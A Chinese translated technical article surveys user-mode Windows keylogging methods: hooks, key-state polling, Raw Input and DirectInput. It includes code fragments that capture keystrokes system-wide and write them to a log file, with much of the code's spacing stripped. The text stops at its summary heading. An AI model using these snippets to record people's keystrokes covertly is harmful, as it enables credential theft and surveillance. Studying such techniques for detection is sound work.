【技术分享】Windows 键盘记录器 part1：应用层方法

【技术分享】windows 键盘记录器 part1：应用层方法

2017-07-10 14:05:52

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来源： eyeofrablog.wordpress.com

【技术分享】Windows 键盘记录器 part1：应用层方法

作者：myswsun

【技术分享】Windows 键盘记录器 part1：应用层方法

译者：myswsun

预估稿费：80RMB

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0x00 前言

正如我们所知，键盘记录器是被恶意软件广泛使用的一种技术。本文是第一部分，我将列出一些Windows应用层常见的键盘记录的方式（不是全部）。

下面是本文提到的一些方法：

1. Windows钩子（SetWindowsHookEx）

2. Windows轮询（GetAsyncKeyState、GetKeyBoardState）

3. raw input

4. direct input

0x01 SetWindowsHookEx

这是最常见的技术。使用SetWindowsHookEx向Windows的消息钩子链中注册一个预定义的函数。有非常多的消息类型，其中两种用于键盘记录：

g_hHook=SetWindowsHookEx(m_bLowLevelKeyboard==true?WH_KEYBOARD_LL:WH_KEYBOARD,m_bLowLevelKeyboard?LowLevelKeyboardProc:KeyboardProc,g_hModule,m_ThreadId);

在回调函数中，我们将接收KeyboardProc的wParam中的虚拟键码和LowLevelKeyboardProc的KBDLLHOOKSTRUCT.vkCode（wParam指向KBDLLHOOKSTRUCT）。

如果m_ThreadId = 0，则消息钩子是全局消息钩子。针对全局消息钩子，你必须将回调函数置于dll中，并且需要编写2个dll来分别处理x86/x64进程。

针对底层键盘钩子，SetWindowsHookEx的HMod参数可以为NULL或者本进程加载的模块（我测试了user32，ntdll）。

WH_KEYBOARD_LL不需要dll中的回调函数，并且能适应x86/x64进程。

WH_KEYBOARD需要两个版本的dll，分别处理x86/x64。但是如果使用x86版本的全局消息钩子，所有的x64线程仍被标记为“hooked”，并且系统在钩子应用上下文执行钩子。类似的，如果是x64，所有的32位的进程将使用x64钩子应用的回调函数。这就是为什么安装钩子的线程必须要有一个消息循环。

0x02 GetAsuncKeyState

使用GetAsyncKeyState查询每个键的状态是一种经典的方法。这需要一个死循环来轮询键盘状态，这将导致CPU异常。

0x03 GetKeyboardState

和GetAsyncKeyState类似，GetKeyBoardState能一次得到所有的键的状态。不同的是当键盘消息从调用进程的消息队列中移除时，GetKeyBoardState只会改变状态。这意味着它不是全局钩子，除非我们使用AttachThreadInput函数来共享键盘状态。

0x04 Raw Input

微软原始输入介绍：

因此，使用原始输入，我们必须通过RegisterRawInputDevices()函数注册一个输入设备。在那之后，在消息循环中能通过WM_INPUT得到数据。下面是注册设备并获取数据的代码：

switch(message) { caseWM_CREATE: { if(lParam) { CREATESTRUCT*lpCreateStruct=(CREATESTRUCT*)lParam; if(lpCreateStruct->lpCreateParams) ::SetWindowLong(hWnd,GWL_USERDATA,reinterpret_cast<long>(lpCreateStruct->lpCreateParams)); } RAWINPUTDEVICErid; //registerinterestinrawdata rid.dwFlags=RIDEV_NOLEGACY|RIDEV_INPUTSINK;//ignorelegacymessagesandreceivesystemwidekeystrokes rid.usUsagePage=1;//rawkeyboarddataonly rid.usUsage=6; rid.hwndTarget=hWnd; RegisterRawInputDevices(&rid,1,sizeof(rid)); break; } caseWM_INPUT: { UINTdwSize; if(GetRawInputData((HRAWINPUT)lParam,RID_INPUT,NULL,&dwSize,sizeof(RAWINPUTHEADER))==-1){ break; } LPBYTElpb=newBYTE[dwSize]; if(lpb==NULL){ break; } if(GetRawInputData((HRAWINPUT)lParam,RID_INPUT,lpb,&dwSize,sizeof(RAWINPUTHEADER))!=dwSize){ delete[]lpb; break; } PRAWINPUTraw=(PRAWINPUT)lpb; UINTEvent; WCHARszOutput[128]; CHARkeyChar; StringCchPrintf(szOutput,STRSAFE_MAX_CCH,TEXT("Kbd:make=%04xFlags:%04xReserved:%04xExtraInformation:%08x,msg=%04xVK=%04x\n"), raw->data.keyboard.MakeCode, raw->data.keyboard.Flags, raw->data.keyboard.Reserved, raw->data.keyboard.ExtraInformation, raw->data.keyboard.Message, raw->data.keyboard.VKey); Event=raw->data.keyboard.Message; keyChar=MapVirtualKeyA(raw->data.keyboard.VKey,MAPVK_VK_TO_CHAR); delete[]lpb;//freethisnow //readkeyonceonkeydowneventonly if(Event==WM_KEYDOWN) { if(keyChar>32) {//anythingbelowspacebarotherthanbackspace,taborenterweskip if((keyChar!=8)&&(keyChar!=9)&&(keyChar!=13)) break; } if(keyChar>126) //anythingabove~weskip break; //writetologfile CRawInputKeylog*lpCRawInputKeylog=reinterpret_cast<CRawInputKeylog*>(::GetWindowLong(hWnd,GWL_USERDATA)); if(lpCRawInputKeylog) { DWORDbyteWritten=0; WriteFile(lpCRawInputKeylog->m_hFile,&keyChar,sizeof(keyChar),&byteWritten,NULL); } } break; } }

0x05 Direct Input

最后一个方法是现实中比较少见的一种技术。直接输入是微软DrirectX库的一个函数，能被用来得到键盘的状态。

HRESULThr; hr=DirectInput8Create(g_hModule,DIRECTINPUT_VERSION,IID_IDirectInput8,(void**)&m_din,NULL); hr=m_din->CreateDevice(GUID_SysKeyboard,&m_dinkbd,NULL); hr=m_dinkbd->SetDataFormat(&c_dfDIKeyboard); hr=m_dinkbd->SetCooperativeLevel(m_hWnd,DISCL_NONEXCLUSIVE|DISCL_BACKGROUND);

DirectInput8Create创建一个DirectX对应版本的DirectInput对象。我们能创建一个输入设备的类型的设备，然后设置我们想要的数据格式。以DISCL_NONEXCLUSIVE | DISCL_BACKGROUND为参数调用SetCooperativeLevel()能确保全局模式。

使用下面代码得到键盘状态：

BYTEkeystate[256]={0}; lpCDirectInputKeylog->m_dinkbd->Acquire(); lpCDirectInputKeylog->m_dinkbd->GetDeviceState(256,keystate); GetDeviceState()返回256个键盘扫描码的状态。我们使用MapVirtualKey将扫描码转化为虚拟键。 UINTvirKey=MapVirtualKeyA(i,MAPVK_VSC_TO_VK_EX);

0x06 总结

最终，我们总结下用户模式键盘记录技术：